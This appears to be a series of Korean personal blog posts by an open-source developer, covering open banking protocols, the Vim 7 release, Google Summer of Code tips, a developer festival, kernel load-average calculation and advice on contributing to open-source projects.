프로토콜이 공개되는 것에 대해, 일반적인 금융회사의 반응은 아마도 "보안에 취약하지 않겠느냐."일 것입니다. 그렇지만, 사소한 하나의 보안 사건도 치명적인 금융의 특성상, 오히려 더 프로토콜을 공개해야 할 필요가 있습니다. 즉, 아무리 암호화를 하고 이런 저런 장치를 해 봐야, 결국에는 리버스 엔지니어링이나 스니핑을 통한 추측과 분석을 통해서, 디지털 컴퓨터 상의 구현인 한은 보안 결함은 뭐든 공격을 받을 가능성이 있기 마련입니다. 게다가, 금융 서비스에 대한 공격이라면, 그냥 돈 받고 해외로 도망가는 사람은 법적인 처벌도 신경을 안 쓸 것이기 때문에, 아무리 리버스 엔지니어링으로 불법으로 규정하려고 해도 법적으로 제재할 방법이 없습니다. 그렇지만, 간단하게 정의된 공개 표준 프로토콜은 결국 넓은 전문가 집단에서의 평가를 받을 수가 있으며, 보안적 위험성에 대해서도 어느 정도 위험성을 미리 느끼고 방어를 위한 수단을 공개적으로 여러 겹 마련할 수가 있습니다.

금융 회사로서의 입장

아무리 좋아도, 금융 회사로서는 새로운 시스템의 도입이 쉽지는 않은데, 금융 회사의 입장에서 얻을 수 있는 이득을 예상해 보겠습니다. 우선, 금융 회사는 클라이언트 측 보안 솔루션을 공급하는 회사와 서버측 솔루션을 공급하는 회사를 분리할 수 있는 자유가 생깁니다. 또한, 리눅스 사용자들이 매일같이 지원해달라고 아우성을 쳐도, 표준을 지키니까 표준 프로토콜을 지원하는 클라이언트를 쓰라고 대답하면 되기 때문에, 공짜로 새로운 플랫폼 지원을 얻을 수가 있습니다. 아무래도 더 중요한 것은 보안상 한 회사에 지나치게 의존할 수 밖에 없었던 것을, 공개 프로토콜로 하게 되면 양쪽을 분리해서 생각할 수 있고, 외부에 위탁할 수 있는 방법도 생기므로 보안 감사가 훨씬 더 쉬워집니다.

보안기술회사로서의 입장

보안기술회사도 중요한 당사자로서 손해만 있다면, 이런 움직임에 참여할 수가 없겠지요. 그러나, 보안기술회사라도 공개 표준이 도입되는 것이 나쁘지만은 않습니다. 공개 표준이 도입되면, 포팅이 훨씬 자유로워지기 때문에, 잠재적인 새로운 플랫폼이 늘어납니다. 따라서, 굳이 금융회사의 적극적인 리드가 없더라도 다른 플랫폼으로 포팅해서 그 쪽에서 벌일 수 있는 시장이 확보됩니다. 그리고, 당장에 이런 일이 생기면 서버쪽에서 작업해야 할 것이 꽤 있기 때문에, 프로젝트가 생겨서 좋겠죠. :-) 물론, 잠재적인 금융사고에 대해 폐쇄적인 프로토콜에서 생기는 문제보다 공개 프로토콜에서 생기는 문제가 발견하기 쉽기 때문에, 미래의 금융사고에 대한 예측가능성 면에서도 유리하다고 볼 수 있습니다.

정부로서의 입장

정부는 계속 늘어나고 있는 MS의 데스크탑 운영체제 점유율에 때문에 외화 유출과, 독점사에 대한 지나친 의존성을 피할 수 있다는 점에서 당연히 여러 플랫폼을 장려하는 것이 더 안전합니다. 또한, 플러그인을 포팅하는 것으로 해결하면, 지속적으로 발생하는 마이너 플랫폼 때문에 이런 저런 민원이 생기고, 제대로 지원하는지 감시 하는 데에 쓰이는 노력을 많이 줄일 수 있겠습니다.

오픈소스 사용자로서의 입장

당연히 좋지 않겠어요? ^^;

제대로 된 보안을 위해

현재 국내 소비자 인터넷 금융 서비스는 사용자들에게 강제로 관리자 권한을 요구해서 바이러스/웜 감염 위험에 노출시키고, 많은 네이티브 소프트웨어 설치를 요구함으로써 중간자 공격에 의한 심각한 보안 위험을 방치하고 있습니다. 게다가, 지원하는 플랫폼을 획일화해서, 한 회사의 독점을 계속 더 촉진시키는 역할까지도 수행하고 있습니다. 한편, 어설픈 키보드 안전 플러그인은 사실상 완벽하게 동작할 수가 없는 것이 자명한데, 사용자에게 마치 안전한 것 같은 인식을 심어줘서 오히려 위험합니다. 결국, 정보의 위치와 흐름을 고려해 볼 때, 해결하는 방법은 비밀번호를 컴퓨터의 통제에서 벗겨내는 방법 밖에 없습니다. USB 장치가 요즘 사용자 권한에게도 많은 기능을 제공하는 쪽으로 발전하고 있는 것을 보면, USB 장치를 통한 적절한 키 관리/사인 등이 결국 좀 더 나은 해결책이 아닐까 합니다. 물론 비싼 장치를 배포해야하는 부담이 있긴 하지만, 사용자들이 하드웨어를 받을 때는 지불하려는 성향이 훨씬 높다는 것을 생각해 보면, 뭐 크게 문제가 되지는 않을 것 같고요. :) USB 장치를 접근하는 것만 허용하면, 어설픈 보안을 하느라 관리자 권한을 요구하는 것이나, 엄청나게 깔아대는 플러그인도 별로 많이 필요가 없어질 것입니다. (드라이버를 깔아야하는 문제는 생기지만요;;)

공개 프로토콜의 시대

이미 Flickr, Amazon같은 인터넷 기반의 서비스 뿐만 아니라, 해외의 큰 규모의 은행들도 API를 공개해서 오픈소스 프로그램에서 쓸 수 있게하고 있습니다. 이제 열만한 것은 열어서, 열린 것들끼리의 카테시안 프러덕트를 최대한 활용하는 다양성의 시대가 되고 있습니다. 온몸을 항상 천으로 똘똘 두르고 있으면, 상처가 곪아도 안 보이고 발견하기도 힘들 뿐더러, 장갑 낀 손으로 다른 사람과 악수하면 사람들과 친해질 수도 없습니다. 어느 정도 얼굴도 보여주고 맨손도 느낄 수 있어야 공기도 통하고 좋겠지요.

장기간의 개발 과정 끝에 드디어 vim 7이 릴리스 됐습니다. 수년간 vim 6.x를 보고 있어서, 이제 6에 나름대로 조금 지겨워지려는 중에~ 7이 나와서 뭔가 신선해진 기분? ;;;;

6에 대한 주요 변경사항은 이렇다고 합니다.

• 50개 언어에 대한 문법 검사 제공
• Omni completion이라는 똑똑한 자동완성 제공
• 탭 페이징 제공 (각각이 창 분할이 가능) -- 진형군의 블로그 참조
• Undo 기능을 여러 갈래로 할 수 있음
• Vim 스크립트가 파이썬의 list와 dict같은 타입을 지원하기 시작 (이제 느리지 않아질지도!)
• Vim 스크립트 프로파일링
• 유니코드 지원 강화
• 괄호 맞춰서 하이라이트하기
• 번역판 매뉴얼 지원
• 모든 플랫폼에서 내장 grep 지원, 압축파일도 검색가능!
• 원격 디렉토리, zip, tar 아카이브 브라우징 가능
• 멀티바이트 텍스트 인쇄 지원

여기서 그냥 제목만 봐서 좀 아리송한 omni completion은 예전의 키워드 자동 완성기능보다 좀 똑똑한 다른 일반 IDE에서 제공하는 자동 완성과 비슷한 놈입니다.

요렇게, ctrl-x ctrl-o를 누르면 tags에서 검색해서 결과를 보여주는데, 그런대로 괜찮군요. ^.^; 파이썬, HTML, CSS, 루비 등도 지원됩니다.

그 외에 FreeBSD에서 euc-kr locale에서 한글 위에서 커서가 제대로 안 움직이는 문제점이 수정된 것도 vim 7부터 반영되어 있습니다.

구글 Summer of Code에 멘터로 지원해서 지원자 심사 목록을 보면서 느낀 팁(?)을 누설해 볼까 합니다. 이제 학생 지원이 하루 밖에 남지 않았지만, 혹시 아직 안 내셨거나, 내셨더라도 수정의 여지가 있으므로.. :)

자기 경력을 매력적으로 쓴다

자기 경력을 소개할 때, 자기가 프로젝트를 할 능력이 있다는 것을 쓰고, 심사할 멘터들이 알 만한 것들을 가급적이면 많이 언급합니다. 같은 프로젝트에 지원한 지원자들도 제법 있기 때문에, 멘터들은 지원자가 그 말아먹지 않고 해 낼 것인가에 관심이 많습니다. 따라서, 가급적이면 멘터들에게 좋지 않게 보일만한 경력은 최대한 숨기고, 관련 프로젝트 경력을 많이 씁니다. 예를 들어서, 구글 조건에서는 학생이면 된다고 써 있지만, 자기 소개에 곧 취업할 것이라고 쓰면, 멘터들이 그것 가지고도 자기들끼리 원래 취지에 맞춰서 생각을 하고 프로젝트 하다가 회사 도망가지 않을까 생각하고 그렇게 됩니다;;

프로젝트 일정을 현실감있게 상세하게 쓴다

2주짜리 프로젝트를 3달한다고 낸 지원자나, 1년짜리 프로젝트로 보이는 것을 2달만에 다 한다고 낸 지원서는 받아들여지기 힘듭니다. 프로젝트를 짧은 세부기간으로 나누어서, 각 날짜별로 어느 부분까지 한다는 것을 현실적인 기준에 맞게 쓰고, 각 기간별로 예상되는 어려운 점 같은 것을 곁들이면 더욱 좋겠습니다.

해당 제안에 대해 잘 알고 있다는 냄새를 풍긴다

어떤 지원자는 단순히 각 프로젝트의 idea 페이지를 보고서, 순진하게 그냥 해 보겠다고 지원서를 내기도 합니다. 그런데, 프로젝트 측에서 심사할 때에는, 성공 가능성이 높은 사람들을 뽑아야, 멘터 자원을 낭비하지 않을 수 있기 때문에, 아무래도 성공 가능성도 중요한 척도로 작용합니다. 따라서, 해당 범위에 대해서 기존에 인터넷에 널려있는 여러 자료들을 미리 조사하고, 비슷한 사례에 대해 연구해서, 잠재적인 난관이나 해당 목표를 수행해서 얻을 수 있는 이점들을 쓰면 좋습니다. 게다가, 다른 사람들의 실패 사례같은 것을 보고 어떻게 극복하겠는가를 곁들인다면 금상첨화겠죠.

인터넷 인생에 빨간줄을 긋지 말자

몇몇 지원자의 지원서 밑에 달린 멘터들의 숨겨진 답글에 보면, "이 지원자는 작년에 코딩 안 하고 놀기만 하다가, 결국 망했다. 코드 품질도 별로 좋지 않다." 이런 식의 악평이 달려 있기도 합니다. 해당 지원이 아무리 좋아도, 이런 답글이 한 번 달리면 다른 사람들이 전혀 믿을 마음이 나지 않습니다. 다른 지원자들도 충분히 많으니까요.. 그래서, 결국은 인터넷 세상은 좁으니 착하게 살자. -O- 가 적용이 됩니다.;;

커뮤니티에 미리 이름을 알리자

사람은 아무래도 나쁜 놈만 아니라면, 익숙한 사람에게 호감을 느낄 수 밖에 없고, 이미 몇 번 본 사람에게 뒤에서 나쁜 얘기를 할 확률은 확실히 줄어듭니다. 따라서, 메일링 리스트나, 관련 뉴스그룹을 통해서 해당 커뮤니티에서 활동하고 있는 멘터들에게 자기가 지원하려고 하는 이슈나 다른 관련 이슈들 밑에 답글을 다는 등의 방법으로 이름을 알리면 큰 도움이 됩니다. 게다가 그런 토론 중에 자기 관련 이슈에 대한 얘기에서 나오는 기존 개발자들의 얘기를 통해 관련된 새로운 아이디어를 얻을 수도 있고, 자기 지원서에 대한 생각을 더욱 정제할 수 있는 기회가 됩니다.

주제를 잘 정하자

앞에서 언급한 것들을 아무리 잘 하더라도, 주제가 엉뚱한 것이라면 선발되기가 힘들겠죠. 주제는 기존 개발자들이 하기 귀찮아 하는 듯 하면서도, 작은 2~3개월의 프로젝트로 한정지을 수 있는 명확한 범위의 작업이어야 합니다. 그리고, 구석진 이슈가 아니라, 기존의 개발자들이 목말라 하는 기능이지만, 자기들이 직접 구현하기에는 시간이 없는 틈새시장을 노려야 합니다. 물론, 이런 것은 각 프로젝트마다 판단 기준이 다를 수 있기 때문에, 모든 프로젝트에 적용되는 기준은 없겠지만요.. ^^;

혹시나 국내에서도 SoC 지원하신 분이 계시면, 꼭 통과해서 외화벌이(;;)하시길 빌며;; 건승을 빕니다. -O-;

작년에도 굉장한 인기를 끌었던 Google Summer of Code가 올해도 더욱 더 커진 규모로 시행될 계획이라고 합니다. 이미 FreeBSD 프로젝트나 파이썬 소프트웨어 재단같은 멘터 기관들은 내부적으로 멘터들을 모으고 프로젝트 아이디어들을 모으느라 부산하게 움직이고 있습니다.

올해도 작년과 같이 각 단위당 학생 4500달러, 멘터 500달러로 상금을 주고 둘에게 각각 구글 티셔츠를 1벌씩 준다고 합니다;; 작년에도 프로젝트들이 대다수가 성공해서 상금을 받아간 것을 보면, 올해도 결과들이 무척 기대가 됩니다. 올해는 한국에서도 많이 참가해서 커밋로그에서 많이 보게 되었으면 좋겠네요~ 5월 1일 부터 참가 접수가 시작되고, 5월 8일에 참가 접수 완료해서 5월 22일에 멘터-학생 매치가 완료된 뒤에 발표가 나서 시작한다고 합니다.

약간 좀 거시기한 것은, 6월 말까지 중간까지 진행해서 중간 보고를 하기 때문에 한국의 학사일정하고는 안 맞아서 정작 설렁설렁 다니는 학생이 아니면 일정 맞추기가 쉽지가 않긴 한데.. 흐흐.. 아쉽네요~ (저도 7월까지 빡시게 여름학기를;;;)

작년에 대단한 반향을(스스로 생각하기엔 ㅋㅋ;;) 일으켰던 대안언어축제 2회를 올해 여름에 다시 개최하고자 하는 움직임이 일고 있습니다. 이번에는 일본의 LLDN이나 다른 컨퍼런스 들에서 얻은 새로운 아이디어들을 더 모아서, 더욱 더 신선하고 재미있는 컨퍼런스가 되면 좋겠네요. +_+

우선은, 지난 번에 대안언어축제이기는 했지만, 언어교환의 측면에서 약간 부족했던 면을 보완하기 위해서, 각 언어별 튜토리얼 세션을 공식 세션으로 넣기로 하였습니다. 언어별 튜토리얼 세션을 물론 각 언어별로 따로 따로 하면 상당히 식상하고 졸리기 때문에 비슷한 언어 몇 가지를 묶거나 전혀 다른 언어 몇 개씩을 묶어서 각 언어의 구루들이 패널로 참가하여, 비교언어학이나 인지언어학을 공부할 때처럼 각 언어의 meme을 느낄 수 있는 통합적인 튜토리얼 세션이 되면 좋겠습니다.

그리고, 참가자 간의 활발한 교류가 지난 번에는 의도대로 잘 되지가 않았는데, 아무래도 일정이 빡빡하고, 자봉과 통사들의 회고에서 행사 처음에 참가자간의 사회화를 덜 했기 때문에 그런 것 같다는 짐작을 했습니다. 그래서, 이번에는 아무래도 축제로써의 의의를 강화하기 위해서, 초기부터 교류를 활발하게 할 수 있도록 일정 진행에 여유를 많이 두고 재미있는 야외활동이나 놀이 같은 것을 많이 넣으면 좋을 것 같네요. 요새도 창준형이 재미있는 놀이를 많이 개발했다고 합니다. ^_^

인기에 힘입어 결국 독립 행사로도 치뤄진 코드레이스는 좀 더 확실한 준비와 완벽한 장비 세팅으로 매끄러운 진행이 이뤄지면 분위기를 확 띄우는 좋은 계기가 될 듯 합니다.

요새는 우리나라 개발자 커뮤니티들이 확실히 부흥기를 맞고 있는 느낌이 많이 듭니다. 대안언어축제 2회에도 많은 분들의 능동적인 참여가 있어서 세계에 수출하는(;;) 좋은 행사가 되었으면 합니다. :) 7,8월에 활동 할 수 있는 시간이 많으신 분들은 자봉으로 활동하시면 더욱 더 보람을 느끼실 수 있을 것 같고, 자신의 언어를 소개하고 싶은 분들도 여러 세션들을 맡아서 해 주시면 좋겠고~ 자세한 일정이나 계획은 다음에 좀 더 잡히는 대로 알려드리겠습니다.

오늘은 두 번째로, "오픈소스는 어떻게 먹고 사는가? (podcast)"에 대해서.. :) --- 휴대용 mp3 플레이어가 있는 분은 오른쪽에 있는 RSS 아이콘을 눌러서 iTunes 같은 걸로 받아서 들으시면 더욱 좋습니다. -O-

오픈소스 개발자들은 주로 어떤 회사에서 일하고, 회사들은 오픈소스를 하면서 과연 어떤 방법으로 먹고 살까에 대해서 대표적인 사례들과 패턴 몇 가지를 소개해 드립니다. 자세한 내용은... (생략) -ㅇ-;;; 이거 아무래도 서투른데다가 말로 하다보니 편집이 쉽지가 않아서, 틀린 말도 있는데 그냥 남겨두게 되었네요.. 다음에 글로 깔끔하게 정리를.. 크흐;

나중에 녹음된 것을 듣다보니, 오픈소스가 꼭 열역학 제 2법칙처럼, 장시간, 큰 규모에 더욱 잘 적용이 되는 것 같은 느낌이 드는데.. 작은 규모에서는 어떻게 시작할 수 있는가를 다음 주제로 한 번 잡아 보겠습니다. ^^;

예전에 회사에서 일할 때, 초당 30만건 정도 들어오는 자료의 빈도를 세서 누적 데이터를 기준으로 5분, 1시간, 1일, 1주, 1달, 1년 최다 순서로 100개 정도씩을 보여주는 루틴을 만들 일이 있었습니다. 그 때는 뭐 회사 프로젝트도 검수 기간도 다 끝나고 영 제값 못 받고 한다고 생각하는 프로젝트였기 때문에, 그냥 대충 가장 단순하게 막 구현을 했더니 오방 느려서 하드웨어빨로 버티고 있었습니다. 나중에는 각 샘플링 별로 상위 10배수를 뽑아서 나머지를 버리는 등의 튜닝을 약간 해서, 처리속도가 데이터 들어오는 것을 못 따라가는 문제를 약간 해결해야하긴 했습니다. :)

물론 이렇게 하면, 정확한 이산 데이터를 합해서 하기 때문에 아주 정확한 자료를 얻을 수 있다는 장점은 있지만, 통계 기간에 들어가는 샘플의 수가 워낙 많기 때문에 속도의 문제나 기간의 제한 등 여러가지 문제가 산적해 있었습니다. 특히 가장 문제는, 샘플 저장 수를 줄이기 위해서 장기간의 통계용 샘플들은 정밀도를 줄여서 5분 데이터를 모두 모아서 1시간 데이터로 만드는 등의 작업을 거치기 때문에, 업데이트가 바로바로 되지 않는 문제가 있었습니다. 그래서, 그때는 그냥 뭐 병특도 끝나가고 해서 대충 넘어 갔는데 -ㅇ-, 얼마전에 여자친구 숙제를 도와주다가, 커널에서 load average 계산하는 방법을 보고서 이것을 게시판의 "최근 뜨거운 글 100개 목록"이나, 네트워크 장비들의 "최근 다발 접속 IP 100개" 같은 통계에 쓰면 좋겠다는 생각이 들었습니다. +_+ 벌써 다른 데서는 다 쓰고 있었는지도 모르겠지만; 이렇게 되면 보통 하듯이 하루 단위로 리셋되지 않고 부드럽게 꾸준히 업데이트되기 때문에 비교적 부하를 줄이면서도 쓸만한 데이터를 얻을 수 있지 않을까 싶네요~

그래서, 그 방법이 무엇이냐! 간단히 요약해서 다음 수식으로~

커널 소스코드에서는 sys/kern/kern_synch.c 부분에 있습니다. x가 로드이고, s가 새로 들어오는 샘플, window가 원하는 통계 기간의 샘플 수 입니다. 이렇게 하게 되면, 새로 들어오는 샘플은 1-1/exp(1/window) 의 비율로 들어가고 그 다음부터는 1/exp(1/window)가 계속 곱해져서 살짜쿵씩 사그라듭니다. 적당히 원하는 보존 기간을 지나가면 무시할 수 있을 만큼의 비율로 없어지기 때문에, 데이터 값 1개만 유지하고서도 이산형 데이터 모두를 저장하는 부담을 줄일 수 있다는 점에서 그런대로 쓸만한 방법인 것 같네요. +_+

그래서, 과연 이 놈이 진짜로는 어떻게 없어지나 그래프를 한 번 그려 봤습니다. (x 축이 축적 횟수, y축이 최종 데이터의 반영 비율, 샘플 누적 목표는 10으로 했을 때)

그래서 대략 계산해 보면, 10개까지의 데이터들의 반영 비율이 63% 정도 되고, 2배수인 20개까지의 비율의 합이 86%정도 됩니다. 정확한 데이터는 아니지만, 데이터 계산을 연속적으로 할 수 있고 연산/저장량이 많이 줄어든다는 점이 장점이겠습니다.

그런데, 커널에서는 부동소수점 연산을 피하기 때문에, 이런 계산을 좀 더 재미있는 방법으로 하고 있는데, 이것도 한 번 눈여겨 볼 만합니다. :) 커널 소스의 cexp라는 fixpt_t형 배열에는 exp(-1/샘플수)의 값이 미리 계산이 되어 있어서 그냥 곱하기만 하면 되게 되어있기 때문에 e 계산이나 나누기를 하지 않아도 됩니다. 그리고, 사실은 이놈이 부동소수점형이 아니라, CPU에서는 정수형으로 취급되는 고정소수점형이라는 것~ 32비트 중에서 왼쪽 21비트를 정수영역, 나머지 11비트를 소수점영역으로 쓰는데, 1<<11 * 소수 이렇게 하면 간단하게 소수점 이하라도 쉽게 변환이 되고, 덧셈 뺄셈도 생각해 보면 그냥 정수 덧셈,나눗셈 인스트럭션으로 될 것을 알 수 있습니다. 그리고, 곱셈도 가능한데 둘을 곱한 다음에 소수 영역 길이인 11비트만 오른쪽으로 시프트 해주면 고정소수점 곱하기 한 것처럼 됩니다. (물론, 손으로 써보면 쉽게 증명이 됩니다. :) 후배한테 자랑했더니 요새는 학교에서 이런 것도 가르쳐 준다는군요 -.-;)

뭐 하여간.. 전에 회사에서 바쁘던 와중에 검색을 할 때는 좋은 아이디어가 딱히 안 떠오르고, 검색을 해 봐도 딱히 좋은 알고리즘이 안 떠올랐는데, 계속 곱하기만 해도 줄어든다는 것을 떠올리지 못한 것은.. 아무래도 수학 공부를 안 해서일까요 -.-a 그래서 이번 학기에 공수 불끈! +_+

어제 Vim 개발자 Bram Moolenar가 구글에서 일하게 되었다고 발표하였습니다. 물론 업무 중에 Vim 개발을 일부분 할 수 있도록 했다는데.. 무섭게 오픈소스 인력들을 빨아들이고 있는 구글이 독립 오픈소스 개발자들을 과연 몇 명이나 남겨놓을지 모르겠군요. -O-

Vim은 원래 우간다 어린이들을 도와주세요! 를 하고 있었지만, Bram이 모든 시간을 Vim 개발에 쓰면서 쉬는 동안에는 Bram의 생활비 지원으로 스폰서십이 바뀌었다가, 다시 Bram이 구글로 들어가고 나서부터는 우간다의 키발레 어린이를 돕는 것으로 원래대로 돌아간다고 합니다.

Vim 7에는 FreeBSD에서 EUC 환경에서 문서 끝을 다 깨먹는 버그가 수정되어 있으니 이제 편하게 살 수 있을 것 같아서 기대가 됩니다. :-) 우간다 어린이들을 도와줘야겠네요;;

그동안 오픈소스 프로젝트 몇 개에서 활동을 하면서 느꼈던 생존 전략을 몇가지 올려 봅니다. 물론, 이런 것들은 절대적인 것은 아니고, 상황에 따라서 다를 수도 있지만 그런 상황도 있을 수 있구나 하고 나중에 패치를 제출하실 때 참고가 되실까 해서 몇 가지 적어 봅니다.

우선은 눈치를 잘 보고 관례를 따르자.

어느 커뮤니티던 각자 고유의 성질이 있습니다. 어떤 곳은 생각보다 엄청나게 보수적인 곳도 있고, 어떤 곳은 새로운 패치가 올라오면 열렬히 좋아하면서 달려들어서 오히려 부담되는 곳도 있고.. 어떤 곳은 모르는 사람이 글을 올리면 반감을 보이는 곳도 있고.. 주제에 약간 벗어나는 글(OT)에 대해 어떻게 상대하는지도 각각의 커뮤니티에 따라서 많은 차이를 보입니다.

대부분의 커뮤니티는 각각의 관례가 있는데 그 관례를 외부인이 쉽게 눈치채지 못해서 처음에 실수하는 경우도 많이 있습니다. 예를 들어, 어떤 곳은 패치를 버그트래커에 올리는 것을 좋아하는 곳도 있고, 또 다른 어떤 곳은 개발자에게 직접 사적으로 보내는 것을 좋아하는 경우도 있으며 그 구분의 정도도 각각 다른 편입니다. 첫 패치가 문서나 테스트를 포함해야 하는지, 어느 정도의 패치는 미리 작업 전에 아이디어를 올려야할지 등 많은 차이가 있기 때문에, 관심있는 곳은 어느 정도 익숙해지는 편이 참여하기가 쉽습니다. 물론, 참여할 때 아는 사람이 원래 참여하고 있었다면 그 사람에게 조언을 구하는 것도 좋습니다.

초반에는 묻어가기를 잘 하자

입지가 어느 정도 굳어지기 전까지는 "묻어가기"가 아주 쉬운 참여법입니다. 각 커뮤니티들은 주제가 아무리 넓어도, 대략적인 흐름이 있어서 유행하는 토픽이 몇개가 항상 떠 있기 마련입니다. 자신과 관련된 주제가 스물스물 올라올 때, 자기가 갖고 있던 생각이나 패치나 그런 것들을 괜시리 관련 지어서 같이 올려버리고 하면, 그냥 올리면 별 관심 없었을 사람들도 같은 쓰레드에 있다보니 덩달아 보고 해서 좋습니다. :) 같이 커밋되는 경우도 있고, 상대방들도 마침 관련 코드를 보고 있던 상황이면 아무래도 쉽다보니 같이 리뷰해 줄 확률도 올라갑니다.

한 박자 빠르게

각 커뮤니티에는 오랫동안 개발에 참여하던 개발자들이 직접 하기에는 따분하고 여유가 없는 일들이나, 새로운 아이디어가 있긴 한데 구현이 쉬울지 확신이 안 가는 경우가 생각보다 자주 발생합니다. 바로 이 경우가 터줏대감 개발자들과 친하게 지낼 수 있는 절호의 기회입니다. 그 때 잽싸게 패치를 만들어서 올려주면 패치 리뷰도 하고 하면서 좋은 기회가 많이 생기게 마련이고, 다른 사람들에게 이름 언급도 많이 돼서, 구글 히트도 올라가고 인지도도 올라갑니다. ^.^ 물론, 여기서 중요한 것은 잽싸게 패치를 만들 수 있느냐가 관건인데, 사실 저같은 경우에도 잽싸게 패치를 만들어야지 하고 마음을 먹어도 10번 시도하면 1번 정도만 끝까지 하고 나머지는 뭐가 문제인지 파악하고 대충 그냥 그렇구나 하고 중단합니다. 여러 번 시도하다보면 어쩌다 한 번은 땡잡아서 이른바 "low-hanging fruit"를 쉽게 따는 경우가 있습니다. :)

한 박자 느리게

중요한 일일수록 한 박자 느리게 할 필요도 있습니다. 기회를 잡을 때는 잽싸게 하면 되지만, 다른 경우에는 메일에 답장할 때도 써놓고 1~2시간 정도 놔두고 있다가 보내거나, 저장해 놓고 아무도 비슷한 글을 안 올린다 싶으면 올리면 좋은 경우가 많습니다. 1~2시간 정도 놔두면 다른 사람들이 답글을 올리는데, 훨씬 더 경력이 많고 뛰어난 사람들의 답글을 읽다보면 자기 글이 틀렸다고 생각이 드는 경우가 제법 있습니다. 아무래도, 계속 틀린 말을 하게되면, 자기 스스로도 위축되게 되고 다른 사람들한테도 이미지 저하가 제법 일어나서 패치를 리뷰해줄 때 협조를 얻기가 힘들어지고, 새로운 주장을 할 때도 동의를 얻기가 힘들어집니다.

첫인상이 중요하다

개인적인 첫인상도 물론 중요하긴 하지만, 오픈소스에서 가장 중요한 것은 코드의 첫인상입니다. 패치의 앞 몇 줄의 코드 품질이나 예시로 올린 글에 포함된 몇 줄의 예제 코드가 다른 사람들의 동의를 얻느냐 아니면 답글 하나도 안 달리고 아카이브의 한 줌의 비트로 묻히게 되느냐를 결정하게 됩니다. 따라서, 코드를 올릴 때는 반드시 프로젝트에서 쓰는 코딩 컨벤션을 지켰는지 꼼꼼하게 체크를 하고, 제공되는 테스트는 모두 확실히 돌리는 것이 좋습니다. 패치 하자 마자 바로 커밋만 하면 되는 상태까지 완벽하게 해서 패치를 제출했다면, 곧 커밋 권한을 받을 가능성이 매우 높아집니다. :)

변화는 조금씩

전통적인 구조의 회사에서 일하는 프로그래머들은 깜짝쇼를 좋아합니다. 뒷방에서 몰래 만들고 있다가, 데모 날짜 잡고 전직원 모아놓고 와~~ 하면서 짝짝짝 하면 물론 쇼하는 분위기도 나고 좋긴 하지만, 코드 통합의 관점에서는 최악의 경우입니다. 오픈소스 프로젝트들은 개발자들이 하위 호환성 유지에 쏟고 있을 여유가 많지 않기 때문에, 너무 많이 확 바꿔버리는 패치나 하위호환성을 완전히 깨버리는 패치를 올려버리면, 패치는 올라오자마자 팽당하는 사태를 맞게 됩니다. 패치는 최소한으로 분리를 해서 따로 따로 제출하는 것이 그 유명한 "divide and conquer"의 관점에서도 더 옳은 방법이며, 한꺼번에 패치를 많이 올리면 최근 메일 목록에서 확 도배를 하는 효과도 있기 때문에 강한 인상을 줄 수 있습니다. --; (그렇다고 일부러 패치를 몰아서 보낼 필요는 없습니다. =3)

공손한 사람이 되자

공손하게 말을 하면, 간혹 상대방의 역공을 받더라도 공격이 무디게 들어옵니다. 자신의 입지가 확고하지 않을 때에는 would, may, could , think 등.. 애매모호한 말을 총동원해서 애매한 해석이 가능하도록 여지를 남겨두는 것이 좋습니다. :) 물론, 익숙해지기 전까지는 Thank you for 뭐해줘서! 는 필수입니다. 항상 서로에게 감사하는 것이 오픈소스이지요 ;;;

그냥 재미로 하자

뭔가 목적을 두고 목적에 대한 과정으로 쓰게되면, 곧 그 과정이 싫증이 나기에 마련입니다. 헌신적인 마음이나 목적에 의한 노력은 일시적으로는 프로젝트에 힘을 쏟을 수 있게 하지만, 곧 시들게 마련입니다. 오픈소스 프로젝트들은 보통 아주 장기간의 릴리스 엔지니어링과 커뮤니티의 피드백 수렴 과정 같은 것이 있기 때문에, 단기간에 끝낼 수 있는 경우가 드뭅니다. 따라서, 장기간 동안에도 지치지 않게, 그냥 여유 있는 시간에 무리하지 않고 재미로 스트레스는 최대한 피하면서 참가하는 것이 좋습니다. 스트레스를 피해 잠시 도망가 있으면 다른 사람들이 해 줍니다. ^^; (자기에게 스트레스를 주는 일이라도 다른 사람들은 재미있는 일인 경우가 많습니다.)

상대방의 입장에서도 생각해 보자

처음 오픈소스 프로젝트에 참여할 때에는, 패치를 제출했을 때 금방 응답이 오지 않으면 굉장히 조바심이 나기에 마련입니다. 저도 처음 패치를 내고서 5분 안에 답장이 안 와서, 무시됐나 하고 생각했는데.. 결국은 첫 패치가 5달만에 답장이 와서 적용이 됐습니다. -O-

프로젝트에 참여하고 있는 다른 사람들도 대부분은 바쁜 사람들이고 자신과 관련이 없다 싶은 것에는 관심이 전혀 안 생길 수도 있습니다. 그래서 더 재미있겠다 싶은 것을 먼저 처리해 주거나 관심을 보이는 것도 그 사람 입장에서는 어찌보면 당연한 일입니다. 끈기를 가지고 여유있게 기다린다거나 바람을 잡는다거나 뭐 몇가지 선택지가 있는데 더 능동적인 방안으로는 기존에 영향력이 있다고 생각되는 사람들의 관심사를 파악한 다음에 그 관심사와 겹치는 것에 대한 작업을 어느 정도 해서 올려서, 피드백을 하면서 친해진 다음에 부탁한다거나, 다른 사람들이 관심을 가질 수 있게 화려한 수식어나 표준 참조를 마구 갖다 끌어붙이는 등의 동기 부여가 필요합니다. 부가적인 다른 패치를 올린 다음에 그 패치가 앞 패치에 의존성을 갖도록 해버리는 것도 하나의 테크닉이죠. :)

그 외의 일일이 언급하기 힘든 여러가지 것들..

오픈소스 커뮤니티의 다른 조직에 대한 가장 큰 특징은

• 대부분의 사람들이 온라인에서 만나서 원거리에서 얘기한다
• 여러 참여자들은 각기 다 다른 시간대에서 생활하며, 여유시간이 모두 다르다
• 대부분의 코드는 집합적 소유권(collective ownership)의 특성이 매우 강하지만, 나름대로 암묵적인 소유권이 있는 경우도 많다
• 대부분의 커뮤니케이션이 전화나 오프라인의 동기식 통신이 아니라 비동기식 통신이므로 답변의 순서도 뒤죽박죽이고 답변이 늦거나 아예 없을 수도 있다
• 일반적인 회사 조직은 피라미드형 구조로 위계 구조가 단순화 되어 있는 편이지만, 오픈소스 커뮤니티들은 커뮤니케이션에 있어서는 굉장히 평면적이고 수백~수천명까지 한꺼번에 참여를 하지만, 안 보이는 인지도와 협력관계, 친분관계 등이 많은 작용을 한다
• 재미와 흥미가 동기를 부여하는 경우가 매우 많다. 따라서, 지루하고 힘든 일은 처리되는데 시간이 굉장히 오래 걸린다

